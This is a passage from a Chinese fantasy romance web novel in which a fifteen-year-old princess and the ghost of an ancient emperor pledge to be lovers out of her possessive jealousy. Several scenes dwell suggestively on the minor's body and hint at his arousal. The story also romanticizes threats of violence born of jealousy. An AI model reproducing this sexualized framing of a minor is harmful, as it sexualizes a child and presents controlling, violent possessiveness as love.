原以为到了山下,钟离湛定然会向她解释缘由,这个时候想来,他应当不会和她说太多。 帝王在世,难免三宫六院,便是显帝这种不好美色,谁也不爱的男人,后宫里也因为各种立场和利益,养了形形色色的美人,生下一串孩子。 问,云绡觉得怪。 不问,心里又不太舒服。 好像是有一团棉花堆积在心口,吸饱了酸水,沉甸甸的,又酸胀得难受。 好朋友……有立场去管他的男女之事,情爱纠葛吗? 钟离湛起先是站着的,但见云绡蹲了太久,一双手在水里泡得指腹发皱也没拿起来,不知在想什么想得入神,便干脆蹲在她身边。 他朝云绡伸手,握住了她的手腕想要将她的手抽回来。却没想到指腹刚碰到云绡,她便像是被火燎了一般缩了手,抬眸朝他看去。 钟离湛对上这眼神,立刻寒毛直竖,似乎感受到了一股杀意? 他攥紧手,手心残余云绡手腕上沾水后的潮湿与冰冷。 钟离湛问:“怎么了?” 云绡眨了一下眼,觉得自己的反应过大,想着她平日里和钟离湛也没有这么生疏,不存在不允许碰手的情况。 头脑清明了一瞬后,云绡将自己的手重新递过去。 钟离湛不明所以,觉得她此刻看上去像是想得太多故而脸上呆呆的,有些可爱,再加上云绡伸手这个动作,更是忍不住笑了起来。 他托着云绡的手背,垂眸仔细看了一眼她的掌心,果然,指腹上皱巴巴的,泡了太长时间的溪水连手背都是冰冷的。 钟离湛的指腹与云绡的指腹摩挲了会儿,像是要将她手指上的褶皱抹平。 云绡看着钟离湛低垂的眼眸,他的眼尾与剑眉像是一起飞入了鬓角中,明明是肆意张狂的眉眼,却在银月照见溪水反射出来的粼粼波光中透出了无限温柔。 他的掌心很暖,云绡的右手很快就回温了,于是她自然而然地换了一只手,让钟离湛继续摸。 钟离湛嘴角微微扬起,也不拒绝,甚至哑着声音询问:“怎么泡这么久也不知要拿出来?” 云绡没回答,他也不必要云绡的回答,这句话更像是相处久了的两个人随口一句的呢喃。 云绡盯着他看了很久,看见月色下水光中的花瓣,也在钟离湛的眉眼和高挺的鼻梁处投上了几抹淡粉色的微光后,她的心忽而沉淀了下来。 一个念头悄然滋生。 朋友关系,并不牢固。 云绡就算再不通人情世故也不会认为,她可以站在朋友的角度去干涉钟离湛结婚生子与否。 此刻云绡也没想起,钟离湛不过是魂魄一缕,旁人甚至无法看见他,更别说是结婚生子。 但偏偏,不久前仲卿的那个玩笑话在她的脑海中一闪而过,闪过之后再闪回,不断徘徊着。 云绡的左手也终于暖和了,而她的心头也生出一股腾腾的热意。 那句“你爹娘给你生了个妹妹”,终于在云绡的心中从老头儿的胡言乱语,变成了一枚颇具分量的石子掷入水中,就像是那溪流映在钟离湛脸上的波纹一样。 水流越来越急,涟漪越来越深。 “你喜欢女人吗?” 云绡突然问的这句话,叫钟离湛骇然抬起头,那双狭长的眸子陡然睁大,随后反问:“我看上去……不像是会喜欢女人的样子?” 云绡听出了他话中意味,脸上涌出了几分窘迫的羞赧,她抿着唇,忽而显出几分扭捏。 钟离湛心中升起一丝疑惑,还不等他问出口,云绡却垂下脑袋,露出白皙的脖颈和通红的耳尖问他:“你觉得,我女人吗?” 说完这话,云绡声音弱弱道:“我还能再长大点的。” 钟离湛福至心灵般,脸也腾地一下红了起来。 是他想的那个意思吗? 他的目光落在云绡扭在一起的手指上,心跳漏了一拍……就是他想的那个意思了。 可她不是从来都不懂,即便他靠得再近,云绡也以为这是好朋友的亲近和信任?怎么会突然像是开了窍一样,对他的态度骤然转变,露出娇嗔和那方面的暗示了? 钟离湛也开始抠手指了。 此间山林只听见溪流叮叮咚咚的响声,两方静默,还是钟离湛率先打破沉默。 “你知道你在说什么吗?”他问了句废话,但这话必须得问。 云绡怯怯地抬头看了他一眼,似乎是怕他不喜欢自己,咬着下唇含糊道:“我才十五岁,再过两三年,一定不会比别人差的。” 这话,像是怕他嫌弃她少女身材,没有成熟女人的婀娜多姿。 钟离湛也在她的身上看出几分熟悉感,心头一窒,酸酸涩涩的,好一会儿才吐出这口浊气,叹道:“你正常点,云绡。” 云绡半垂着脑袋,眼睛眨了眨,没做声。 钟离湛的手按在了她的头顶像是泄愤一样用力揉了揉,将她的发丝揉乱了才道:“人很容易被环境改变,便是谎话连篇的顶级骗子,一旦很长时间不曾说谎,再骗人时就会露出许多破绽。” 钟离湛啧了声:“你还算不上顶级骗子,我也不是真的笨蛋。” 当然,云绡算是很厉害的骗子,而钟离湛没上当的原因,是因为她惯会装无辜可怜,着实不太会装动情娇羞……一直低着头,他都看不到她的眼。 差点儿就被骗了啊…… 钟离湛揉完了云绡的头发,顺势手指往下捏住了她的脸,让她抬起头来。 云绡被捏脸昂起头,再看向钟离湛时,眼底哪儿有水光潋滟,圆滚滚的大眼睛里写满了疑惑,也不畏惧他是否会生气,只好奇他怎么看穿自己的。 “你想做什么?”钟离湛无奈。 他这回没有怜香惜玉,将云绡的脸颊都捏得有些变形,故而云绡说话漏风,含糊不清道:“我想你只有我一个女人……不,我想你只有我一个人。” 咚咚—— 钟离湛呼吸停了一瞬,心跳也在这一刻快得有些憋气,撞得他胸腔发麻。 “什么叫,你想我只有你一个人?” 云绡知道自己骗不到他,干脆实话实说:“我听陆梨说,鬼女山上有旖族的神女,只要通过神女的考验就可以住在山中,成为山里的一份子……我听过这座山,历史上的神女,是迷到你为她开山建庄的女人,她也为你收了无数后宫佳丽。” 钟离湛仔细回想,他似乎也看见过这类关于自己的“历史”。 “你说你要去鬼女山……若是为朱木简,可往,若是会老情人,不行。” 云绡说不行两个字的时候,十分笃定。 钟离湛有些被气笑了,气她信那狗屁历史,装模作样地骗他,害他险些失智,真成了傻子。 又笑她这无赖口气,竟真有几分吃醋的意味在里头。 “先不说老情人是怎么回事,我且问你,为何我可以去找朱木简,不可去会老情人?” 云绡还是说话漏风,却吐字清晰:“不行 就是不行,所有会破坏你我关系的存在,就都不行。你只能是我一个人的,你也只能有我一个人。” 她握住钟离湛的手腕,瞪圆了眼睛:“我们说好了的,你永远得把我放在首位,首位,就是第一!” 钟离湛屏住呼吸,微微歪头,狐狸眼中水光流转,他提醒她:“第一,不是唯一。” “那就改。”云绡理所当然:“改规矩,既要是第一,也要是唯一。” 钟离湛觉得她接下来说的那句话,仿佛在胡言乱语,可心跳仍不受理智控制,几乎要脱腔而出。 云绡说:“我不管是朋友也好,还是情人也罢,反正你只能有我一个。如若朋友不行,那就当情人,反正、反正就只能有我一个。” 她的重点在只能有她一个,她必须得是他感情的全部,她必须得是特殊的,独一无二的那个。 诚如钟离湛曾对她的评价。 “真霸道啊,绡绡。” 钟离湛心脏跳到胸腔发麻了,他望向云绡的眼神幽深,专注,喉节滚动,咽下了后半句话。 真霸道啊,绡绡。 ——说出这么霸道无理言论的嘴,真想吻下。 第53章 云绡沉浸于自己的想法里,颇有种破罐子破摔的意味。 她其实也不是真的什么都不懂,她虽然对钟离湛装模做样,却不代表她不愿意和他将关系从朋友转变为情人。 云绡用一次眨眼的时间想过转变后的可能,结果就是……她也不会损失什么。 情人之间究竟是如何相处的?云绡回忆了一番显帝在面对后宫妃嫔时的表现,觉得略有些恶心,可若将显帝换成钟离湛,也不算难以接受。 真正叫她难以接受的是——如今她看似掌控了钟离湛,可当他们到达鬼女山,钟离湛再度见到传说中的旖族神女,他为她神魂颠倒,不顾与她之间约定地奔向对方。 真正叫她难以接受的是——即便钟离湛对神女没有历史上那么痴迷,可神女的三言两语仍然额能够左右他的看法,仍然能够动摇他的决定。 云绡光是想想,就觉得肺腑生疼,疼到她宁可将钟离湛的魂魄一把驱鬼符烧了,叫他灰飞烟灭,也不想这世上会多一个人能看见他,又被他看在眼里。 云绡知道自己有很强烈的掌控欲,这或许是因为她从小到大什么也没得到过,而钟离湛是她得到的唯一东西。 既然得到了,就别让他变成“得到过”,她要一直拥有,永远拥有下去。 云绡在表演之前盯着钟离湛那张越看越好看的脸想了很多,唯独没想过他会看穿她。 也许是因为她的演技真的在离开皇宫那尔虞我诈的环境里退步了许多,即便被拆穿,云绡也没想过退缩,反而让她彻底拥有钟离湛的心更加坚定。 他强大,俊美,能教会她许多能让她拥有安全感的符咒阵法。 他善良,温柔,云绡永远也不用担心他这样道德感和正义感强烈的人会做出对她不利的举动。 更何况,他只有她能看见,只有她能触摸,这简直完美地契合了云绡某种阴暗的心理。就像他是独属于她一个人的瑰宝,再好,也只属于她,别人连看都看不到。 她才不管他过去如何,她只要他的将来、他全部的将来。 所以云绡无赖地要改她曾经指定的朋友法则,将她放在心中首位显然已经不能满足她,她要成为钟离湛心中的唯一。 云绡堂而皇之地说出这些话,她也不知钟离湛会做出怎样的反应。 是觉得她有病,还是会对她说教,告诉她这样想是扭曲的。 钟离湛终于开口:“真霸道啊,绡绡。” 云绡又听到了霸道两个字。 之前在若川,钟离湛对她说霸道,她理直气壮地表示自己就是霸道,丝毫没有心虚。 可在这一刻,云绡突然感受到了一股她自懂事以来都很少有过的心慌,她突然觉得有些畏怯,她怕钟离湛是真的觉得她霸道。 人性极其善变,云绡曾是个从来不将他人放在心上的人,哪怕与她有血缘关系她也毫不在意,钟离湛曾庆幸她有些冷血,这样她至少不会被他人伤害。 可一旦被温柔包裹,被纵容填满,一旦每天看见的都是笑脸,身边也总是雀跃的欢笑声,再冷血的人也会生出情感,她不再坚不可摧。 云绡及笄后才长出来的情丝,在听见钟离湛的声音后蠢蠢欲动,它像是狂风骤雨中,独长于枯枝上的一片翠绿嫩芽,要么被雨水灌溉长大,要么顺风雨而下。 - 钟离湛的手指松开了云绡的脸,依依不舍般蹭了一下她被捏红了的脸颊。 即便他用眼神已经将云绡的嘴唇蹂躏得通红,恨不得咬上几口,可脱口而出的话还是深思熟虑,不至于会吓到她。 “我没有情人,也不需要你做我的情人。” 钟离湛解释道:“锦仙山上部分传说为真,也有部分传说是假。神女是真,我为其痴狂为假,旖族女子可以入山寻求庇护是真,她们都成了我的后宫妃嫔是假。” 云绡没出声,她像是突然明白过来什么,后知后觉地发现即便是正史记录,也是后来活着的人写的。而那些书写历史的人既然能将钟离湛塑造成疯子、杀神,定然也不会写他的好话。 这些道理换做平时她只要眨一下眼就能想到,可人在受到威胁的时候理智便会下降,云绡当时只有一个念头便是想办法拴住钟离湛,灭绝所有不安分的可能。 云绡的脸色终于没那么难看了,钟离湛也察觉到,她身上那股戾气也平复了下来。 这么看来,他最开始感受到的杀气不是错觉。 他很怀疑如若他真的有后宫佳丽三千,并且这个时候去鬼女山是要找神女再续前缘,云绡就算是跳崖、溺水、玩火自焚也要拉他下地狱的。 钟离湛曾觉得她像小刀,现在觉得,她像大刀。 小刀伤人,大刀要命。 钟离湛从不觉得自己的心态有扭曲之处,他自诩刚正,为人也爽直,但今日却在发现云绡对他的独占和霸道后,心里诡异地生出一丝微弱的满足。 这种被人迫切需要,生死与共的感情,即便不称□□,那也是爱了。 “所以,你就是在吃醋。”钟离湛盘膝而坐,跟着脑袋歪着头看向还半垂着眼帘的云绡,非要看见她的目光:“绡绡,你也是我各种意义上的,第一个朋友。” 不管是过去,还是现在,她都是他第一个朋友。 云绡被他这话说懵了,圆眼更大,更呆,也更可爱。 “成为帝王的道路很孤独的,我没空去交知心朋友,成为帝王之后就更是,那短暂的年月里光是应付外人就耗尽心力了。”钟离湛耸了耸肩。 他的话,像是给云绡吃了一颗定心丸。 云绡的话没过脑子 ,酸溜溜地说了一句:“那个叫你多次探望的神女,也不值得你当她朋友吗?” 钟离湛听见这话,脸上笑容更大,心也像是泡在了温水里一样,舒服得整个人都慵懒了起来。 她不是没开窍,只是未曾有过危机感。 一个道听途说而来的神女,就让云绡在脑海中想着与钟离湛同归于尽了。 “她不值得。”钟离湛笑着往前凑了凑:“全世界,只有绡绡值得。” 循序渐近显然不是他的小仙女适应的方式。 钟离湛也是这个时候才知道,云绡对于其他事是主动的,但在感情上极为被动,若不是逼急了她,她的反应能延长至十万八千里远。 所以钟离湛不打算和她委婉了,他按在膝上的手紧了紧,喉结滚动了好几次才道:“我不需要情人,但我需要爱人。” 云绡那警惕的神态在她自己未察觉的时候就竖了起来,钟离湛想她若是只猫,这个时候瞳孔就要变化形状了。 “你说了,我只能属于你一个人,那我的需要,你打算怎么安排?” 钟离湛将问题抛给云绡。 云绡很快就接住了:“我来当你的爱人。” 情人、爱人,有分别吗? 若她没离开皇宫,这个时候怕是也被许了人家,今后不知和谁在哪一方院落里度过漫长的一生。 云绡没有清白观念,也不在意名声名分之类的虚物。 钟离湛却告诉她:“情人和爱人当然不同,你可想好了?情人未必要一生,爱人可是要发誓的。” 他故意道:“一旦你我从朋友转变成爱人,就再也不会重新回到朋友的身份,吃同桌,睡同衾,生生世世只能将对方当成独一无二的存在,唯一所爱。会牵手、拥抱、亲吻、甚至——” 狐狸眼微眯:“你懂吧?” 云绡想摇头,甚至什么?她不懂。 但这个时候怎么能摇头?摇头她就不是钟离湛的唯一了! 所以她连连点头! 甚至聪明地反问一句:“就是夫妻对吗?” 钟离湛哈了声:“比夫妻更牢固,如你我绑在一起的命运一样,永不破裂,你可要?” “要!” 回答得比点头还快。 这样子,就像是他在骗小孩儿。 可这小孩儿并非真的小孩儿,她需得人拽着她,她的感情才会浮动一下。 于是二人像是两个小孩儿做出了什么约定一样,钟离湛握着云绡的手拉钩,云绡觉得他幼稚,又十分欣喜。 他们上次说好了要成为朋友的时候都没拉钩呢,只口头说了一下。 这次拉钩了,更有仪式感了! 入深夜,林子里更凉了些,水流湍急的小溪总有源源不断的花瓣跳跃,温柔的色彩如同霞衣借着月色和水面的反光披在一人一魂的身上。 云绡紧紧地盯着钟离湛与她拉钩的那只手,仿佛这个小小的举动已经完成了天道心誓一样,无可更改。 从此以后钟离湛就独属于她。 云绡捏着钟离湛的手指没放开,像是想到了什么道:“我们牵手拥抱过,下一次要做什么?亲吻?怎么亲?亲哪里?亲多久合适?” 钟离湛:“……” 真是语不惊人死不休啊,绡绡。 钟离湛扑哧一声笑了出来,他瞥了一眼云绡的鸡窝头,对她道:“转过去。” “亲后背吗?”云绡有些期待,迫切地要和他成为比夫妻还要牢靠的爱人:“要我脱衣服吗?” 钟离湛又忍不住想要揉她的头发了。 她每说一句话,都像是往他的心间注入一股岩浆,烫得他险些就要神志不清。 钟离湛昂头看了一眼天,银月隐入薄云,他吐出一口气,颇有些生无可恋地按捺住脑海里的各种想法和想象。 在云绡背对着他坐得笔直的时候,他摘下了云绡头上的木簪,五指化成了梳子,轻柔地穿过她的发丝,又不太熟练地将她的头发挽起。 低哑的声音道:“我们不用那么急,先从学会表达爱开始。” 云绡想问,不用急吗?她挺急的了,毕竟再有两天就能到鬼女山了啊! 木簪重新回到了云绡的头上,她的发丝还是有些松散,没云绡自己梳得好,但比钟离湛蹂躏过后的看上去顺眼很多。 云绡转身看向他,像是穿上了新裙子般还在钟离湛的跟前转了一圈。 她不会表达爱,可又似乎很会表达。 嘴上不说,行为上处处释放着亲近与喜爱。 钟离湛看她转起一圈如波浪的裙摆,再将目光落在她有些期待的脸上,抿嘴一笑:“我梳得真好!” 云绡也不失望,钟离湛还是紧忙又道:“得亏小仙女漂亮。” “看。”钟离湛言传身教:“我发自肺腑说出的话,便是向你表达我对你的喜欢。” 云绡学习能力很快,迅速明白了钟离湛的意思。 她发自肺腑道:“谢谢哥哥,哥哥真好。” 钟离湛一呆,满腔馥郁,满脑子烟花绽放。 要死——他觉得自己的心脏似乎不会跳动了,魂魄也有些飘飘欲仙落不到实处之感。 钟离湛发现云绡的嘴,还是在说甜言蜜语的时候最吸引人。 云绡也发现,钟离湛很吃这一套,即便他是个魂魄,也能看见耳垂红得要滴血了。 她眉眼弯弯,笑得更加情真意切:“我喜欢哥哥给我的发簪。” 还举一反三地反问钟离湛:“哥哥喜不喜欢我的发带?” 钟离湛:“……喜,喜欢。” 这回是真的要死了! 钟离湛侧过身头脑迷糊地摸了一下鼻子,嗯,还好,魂魄不会流鼻血,暂且保住颜面。 他没看见,云绡在他侧身后抬手抚上了自己的心口,感受掌心下紊乱得比雀跃更活泼的跳动。 疾风骤雨下的小树芽,迎来了独属于它的晴天,和彩虹。 第54章 后半夜的山里更是凉得彻骨,即便有火堆取暖,一行人也不太能睡得着。 仲卿一把年纪了更是怕冷,半夜腿骨关节开始发疼后,便主动朝徐容靳过去,头一次没皮没脸道:“大哥腿冷,给大哥捂捂。” 徐容靳年轻力壮,能扛得住寒夜,一听大哥冷便直接将大哥搂在怀中,小老头儿以一种非常耻辱的姿势环抱自身,到底没说什么。 陆梨也冷,她也很想去抱抱云绡,还在犹豫呢,徐容靳看见她一动便问:“妹妹去哪儿?” 陆梨小声地说出自己的想法,又小心翼翼地朝云绡看去一眼。 结果徐容靳道:“娘要和爹睡,妹妹不去,妹妹和我睡。” 他说完,伸手拍了拍身边的草堆。 陆梨到底是个小孩儿,即便心智早熟也不会认为她和徐容靳在寒夜里依偎取暖便没了清白什么的,听徐容靳这么说,也就靠到徐容靳身边去了。 其实她早就发现了,徐容靳的脑子不太好,可能在心智上来看,比她还要笨拙和迟钝一些。 她也知道徐容靳喊云绡娘,乍一听见这称呼时陆梨也惊讶了很久,但其他两人见怪不怪,她便明白这是他们这个小团体内默许了的关系。 陆梨有些羡慕徐容靳,可能徐容靳的爹娘都不在世了,可他有另外的爹娘能够纵容着他,陪伴着他,比她的爹娘好太多。 云绡将他们那边的动静全都看在眼里,不过并不太在意。 钟离湛的魂魄就像一团火球,靠在钟离湛身边云绡没那么冷,可他毕竟不挡风,一阵阵夜风吹过来,云绡闭上眼睛也睡不着。 钟离湛看出她有些不舒服,犹豫着怎么开口呢,小姑娘突然睁开眼朝他看过来,眼神有些困倦的迷蒙,说话也带着睡意的绵软。 “能不能抱着睡?” 钟离湛愣了愣,随后心想,他总不能表现得比云绡还放不开,心爱之人是自己哄来的,没道理这种时候装清高,又没人能看得见。 于是他张开双臂,也让云绡像仲卿躺在徐容靳怀中那样,躺在他的怀里。 云绡没如他的意,她说的抱着睡,不是要睡在他的怀中,就是要切切实实地拥抱着才行。 展开的双臂穿过钟离湛的腰侧,双手紧紧地贴在了他的背后,冰凉的皮肤熨帖在炙热的魂魄上,云绡的脸还靠在钟离湛的肩窝里蹭了蹭。 没有衣料的阻隔,柔软的触碰带着心跳的节奏,像是两团云一样撞上了钟离湛的心口。 他的四肢立刻僵硬起来,双眼瞪大都没敢眨,大气也不敢出。直到云绡手脚并用地在他 怀中找了个舒适的姿势,抱他像是在抱能散发着暖意的靠枕一样,鼻音哼哼了两下。 这回就不止是四肢硬了。 云绡只有上半身紧紧贴着钟离湛,她的下半身还蜷缩在他的腿侧,可光是这样的贴近也是过去不曾有过的。 将他的骨剑融入云绡身体里的那一次不算,他当时对她没有旖旎想法,一个瘦弱的小姑娘身无二两肉,抱起来就像是在抱一把骨头……钟离湛只想过允她自由,也给自己一个离开京都的机会。 到底是吃了肉就不一样了,云绡的脸眼看见圆润,穿上衣裳时不见她长胖多少,可真的前胸相贴,肌理相融,钟离湛才感觉到……她说得话是对的。 她真的长大了……不止一点点。 或许两三年后,她会长得更加曼妙迷人,身段娇柔。 钟离湛感受到云绡的气息缠绕在他的肩窝里,她身上的香气也一丝丝地往他的呼吸里钻,怀里的少女明明是那样硬气的一个人,偏偏浑身上下都很软,没有分量地轻轻压在他的身上。 云绡已经很困了,钟离湛的怀抱让她无比安心。 睡梦前她忽然想起来皇宫里的十七公主,那个小姑娘叫云姣,还有个乳名叫欢欢。她的母妃圣眷正浓,即便她是个公主也有比旁人生了皇子更多的赏赐,好像这世上所有的美好都堆叠在了她的身上。 云绡记得她在还不会走,就只会爬的年龄里,她的母妃就用宫中妃嫔都没有的上等绸料给她缝了个半人高的小猫脸布偶娃娃。 有一年盛暑,云绡看见她睡在金丝镶嵌的摇床里,一旁的嬷嬷也趴在摇床边打盹,她们就在荷亭内纳凉。 小云姣趴在比她高出许多的小猫脸布偶娃娃上,一脸惬意,安然,就像是抱住了她那一刻的全世界一样。 云绡此刻觉得自己正如那时的云姣,她不用羡慕旁人,她也拥抱了她此刻的全世界。没有寒意侵扰,是她喜欢的气味,喜欢的温度,喜欢的人的怀抱。 就是钟离湛没有布偶娃娃软。 滑腻的肌肤相触,每一寸摩挲的感觉都被无限放大,云绡睡得也很惬意、安然。 只是苦了钟离湛。 不怪云绡觉得他硬,他根本无法放松,也软不下来。 也不知过了多久,久到太阳很快就要升起,火堆也只剩下火苗,另一株大树下的人发出细微的鼾声,钟离湛才像是找回了身体的掌控权,终于没那么僵硬了。 他的手轻轻抚着云绡的后背,从上往下顺着,一下,两下…… 身 体软下来之后,内心也柔软得一塌糊涂,好在云绡睡觉不爱乱动,否则他的理智早晚被□□烧空。 - 天亮时,徐容靳第一个醒,他的一声惊呼也叫醒了其他人。 仲卿连忙起身,陆梨也陡然睁眼,只有钟离湛捂住了云绡的耳朵,不满地朝那咋咋呼呼的傻大个瞥去。 徐容靳惊喜过度,没在意“他爹”仿佛杀人的眼神。 他笑盈盈地展开手掌,只见他的手心里立着两个毛茸茸灰扑扑的小东西,正是昨夜不知何时破壳而出的野鸡。 徐容靳捧着小野鸡如获至宝,还非得将云绡喊醒了道:“娘,你看!孵出来了!” 云绡睁开双眼。 她只要睁眼了,就能立刻清醒过来。 钟离湛见她抬头便松开了捂着她耳朵的双手。 云绡也有几分好奇打量着徐容靳手里的小野鸡,意外他居然还真将小野鸡孵出来了,随后又问:“多久能吃?” 徐容靳如临大敌,赶忙将小野鸡护在怀中摇头道:“不行不行,这是我的兽宠,娘,我已经起名字了,就不能吃了。” 曾经用雪豹作为兽宠的徐家二公子,如今捧着两只小野鸡当兽宠,并且分别给它们起了“啾啾”和“咕咕”两个十分贴切的名字。 云绡看他那傻样,突然笑了起来。 清晨的阳光洒入山林,照在云绡和徐容靳的身上,仲卿踏入光芒所射的火堆旁,歪着头去打量那两只过于活泼的小野鸡。 繁花经过一夜风吹落尽,高大的男人背对着陆梨,只露出那半边没有被火烧毁的脸。 徐家就没有长得难看之人,徐容靳在毁容之前也是个俊俏公子哥儿,仲卿即便老了,仍有几分仙风道骨的气质,云绡正是少女时,恰如初荷。 三人对立,一个故意吓唬说要吃野鸡,一个也附和着要分鸡腿,剩下那个护着小鸡就差哭了。 陆梨站在不远处看着没上前打扰,她忽而觉得他们十分鲜活,好像幸福和快乐在这一刻成了一个具象的东西,那是她后来人生中总会去回忆的一幕。 - 至鬼女山外便再无人烟,一路行来的山中云绡偶尔还能看见几所破旧的屋子,至少证明这里之前有人住过。但眼见着鬼女山就在跟前,附近冰雪消融成道道小溪,冲散野林,就连草木都难以生长,更别说人住了。 真正站在鬼女山下,仲卿忍不住朝前走上一步,再抬头仔细去看。 冰冷的雪花很小,如同一片片碎屑般吹过,还未触及人的皮肤便会融化,这里的雪像是薄薄一层雾,让人眼前不论看什么都是朦胧的。 恰是这份朦胧,叫仲卿多看了两眼雪山峭壁。冰雪是一样的颜色,所以那深深浅浅的痕迹若没有阳光去照射根本让人难以发现,那峭壁上居然有字画。 极高的山,山上如同天然形成的女子侧脸,长发遮蔽半身,垂下的眼眸如同怜悯一样恰好面朝着旖族的地界。 女子画像旁铁画银钩般的字迹已经模糊不堪,让人难以分辨写的到底是什么,不过仲卿在看见这一幕后便立刻反应过来,锦仙山又或说是鬼女山,究竟是什么。 “这是杀神钟离湛的后宫花园。” 仲卿这话才说出口,便察觉到一股凉意袭来,他忍不住打了个寒颤朝冷气吹来的方向看去,那里空荡荡的,倒是不远处的云绡瞥了他一眼。 仲卿怕云绡不清楚,还特地解释了一番:“湖族历史中有记载,此画像上的女子是神女洛娥,那是钟离湛第一个,也是唯一一个倾心之人。洛娥陨落后钟离湛还命人在悬崖峭壁上雕刻她的画像,在画像旁附上情诗。” 云绡那凉飕飕的眼神从仲卿身上收回,落在了钟离湛的身上。 “第一个?唯一一个?” 云绡咬牙切齿,她问的是钟离湛。 钟离湛这边连连摇头摆手,仲卿那边还回答:“对啊,洛娥是真神女,不是我们世人口中对一个女子的谬赞,她是从天而降的天神,杀神会爱上这样的神女也无可厚非。” 钟离湛:“……” 他此刻若有实体,就得拔剑架在仲卿的脖子上了。 眼见着云绡的脸色越来越难看,钟离湛连忙牵起她的手,弯下腰讨饶般朝她笑了笑:“你信他还是信我?” 云绡挑眉,没说她信谁,下巴朝悬崖抬了抬问:“解释?” 还没等钟离湛回答,云绡又道:“我也不是真蠢,那就是你的字迹,你写了什么上去?” 某些笔锋落下之处,与钟离湛的字迹如出一辙,悬崖峭壁上的画是不是钟离湛画的云绡不知道,但那两行字一定是他写的。 钟离湛沉下眼眸认真看向云绡,回答道:“若我说我忘了,你会不会生气?” 云绡已经在生气了。 钟离湛又保证:“虽然我现在忘了,但我过去一定记得……若你不信,便再设九星连月阵你回去亲自看一看。” 钟离湛认真道:“我忘了很多事,绡绡,那些是我在皇宫,在京都找不到的真相,于我死的那一刻,从我的身体里被抽离。我不知我忘记了什么,除却世人口中传我疯魔的那段时期我浑浑噩噩之外,回 忆里还有许多片段都是模糊的,所以我想去曦族回东洲,想看看能否找到答案。” “后来仲卿交代九星连月阵,我要用九星连月阵回到过去,也是想要看清楚我究竟忘记了什么重要的事,我又究竟因何而死,只是这些我如今都无法看到。”钟离湛将云绡的手按在自己的心口,眸光真挚:“不论是朋友,还是爱人,我都不会欺骗你,不会伤害你。” “我从未喜欢过别人,也从未写过什么情诗。”钟离湛想了想,又道:“你若喜欢,我可以写给你。” 云绡感受着掌心下柔软的皮肤,和皮肤胸腔下有力的跳动,她望着钟离湛的眼,基于对他一贯以来的认知也知道他不会在这种事上说谎。 心里还是有些气,气他与旁人传了数千年的爱情谣言,他无从解释,另一个如今也成了壁上画。 手指一动,云绡的两根指尖扭着钟离湛的一块胸肌,转了半圈。 “嘶——” 钟离湛瞪大了眼,下一瞬脸便爆红了起来,耳尖也如同火烧,红得仿佛要滴血。 第55章 生怕云绡下一步掐别的地方。 钟离湛连忙解释:“我想来锦仙山,便是对锦仙山有印象,我知山中有神女洛娥,似乎也曾与她多番交涉。但那些内容我都忘了,可我确定,那些内容无关情爱,只关乎朱木简。” 说完,钟离湛整个人都处于红彤彤的状态下,眨巴眨巴眼。 云绡也非不信他,可独占心作祟,还未见到这个传说中庇护旖族女子的神女,她就已经对对方没有任何好感了。 云绡松开钟离湛,沉思片刻后又问:“你不清楚自己忘记了什么,那历史上对你的记载,你又如何知道是真是假?” 钟离湛一时语塞,不得不说云绡一针见血。 照着云绡的逻辑来说这么问没问题,如若他的记忆已经不能作为真实了,历史上对他的记载也就未必全然是假的。 钟离湛也沉默了好一会儿,他想仔细回忆一番自己究竟忘记了什么。可从他的记忆里翻找,自他懂事以来,包括后来仗剑天涯,再到杀了五族五帝自立为王等等,那些记忆并未颠倒与遗漏,他人生的空白,是从云绡第一次出现在他的生命里开始。 钟离湛曾以为,因为云绡的到来,使得他彼时浑噩,但他又十分笃定那些真正重要的被忘却的,并不在云绡出现的契机里。 云绡见他沉默,不想为难他,也不想强词夺理,可她仍然嫉妒泛滥。 明明她想要的只是钟离湛的未来,却又十分在意他的过去。 云绡并未纠结太久,她的思绪很快就被自己理清楚了,诚如钟离湛说的那样,若她真的好奇,不如自己去看。 “他们抹黑你,抹黑你斩断尾人族的尾巴,抹黑你杀人成性,抹黑你和神女有情,甚至还抹黑你是个疯子……”云绡道:“我总能找到真相的。” 钟离湛眸光微闪,他都还没想到要如何替自己辩解,要如何向她证心,她就已经调节好情绪了。 “这么说,你是答应我了?”钟离湛问。 早在前些天他就向云绡提起过利用九星连月阵送她回去,找到他死亡的真相,找到他遗忘的重要事情,这两个只要明晰其一,另一个也一定昭然若揭。 他让云绡不急着回答,可以好好考虑,云绡这样说不就是回答了他? 果然,云绡重重点了一下头,又伸手轻轻放在钟离湛的腰腹上。 她的指腹冰凉,刺激得钟离湛劲腰一紧,那细腻柔软的手掐着他腰腹上的一小块皮肤也如同方才一样狠拧了一下。 于此同时,云绡开口:“若我发现你与那神女真有猫腻,哼哼,钟离湛,这世上就不会有杀神了。” 凉飕飕的话,充满了威胁。 她的意思明显,若到时她发现钟离湛真和那神女有情,她会在那个时候找机会了结了他。 反正云绡当时就附身在钟离湛的身上,想要拉着他去死也不算难事。 若钟离湛能撩开他那不存在如云似雾的玄衣去看,便能看见他的胸口与腰腹上各有一块红痕,暧昧地布上肌理,那是云绡吃醋的证明。 “好凶啊。”钟离湛又不是真疼,便弯腰与她玩笑。 云绡微翘着嘴,朝他呲牙。 - 仲卿早看见云绡那边不太对劲,他拉过徐容靳问:“你爹娘在干什么?” 徐容靳也奇怪着呢,他低声道:“爹牵娘的手,娘摸爹心口,还摸爹肚子……” “这个时候打情骂俏?”仲卿还没嘀咕完呢,一把亮澄澄的匕首便立在了他的眼前。 云绡冷着声音道:“钟离湛和那什么神女没关系,你要再乱说,我就把你舌头割了!” 仲卿:“……” 云绡的眸光又朝徐容靳瞥过去,徐容靳连忙捂住了自己的嘴摇头,他再也不和大哥说话了! 几人中唯一高兴的就是陆梨了。 她终于到达了鬼女山! 看着画壁上的神女,陆梨心向往之,只要踏入这座山,她就可以过正常人的生活。 她迫不及待地朝神女壁画跑过去,也就没看见潜藏在风雪中的其他危险。 陆梨虽然年龄不大,可长得却不算太矮,一个活生生的人突然从众人眼前消失的时候徐容靳还抬手揉了揉眼睛。 周围雪雾弥漫,若是仲卿这样青灰衣裳的人能隐身其中还好说,可陆梨的衣裳上都是血,猩红的颜色尤其好认,怎么会一个眨眼人就不见了? “陆梨!”仲卿唤了声。 徐容靳还傻乎乎地说了句:“她被神女接纳了,神女把她接走了!” 云绡只觉得刚才那一幕有些熟悉,愣怔了瞬后反映了过来,她伸手在身后找了块覆了一层薄薄冰霜的石头朝前一扔,许久之后也没听见石头落地的声音。 云绡道:“前方是断崖。” “什么?!”仲卿不可置信。 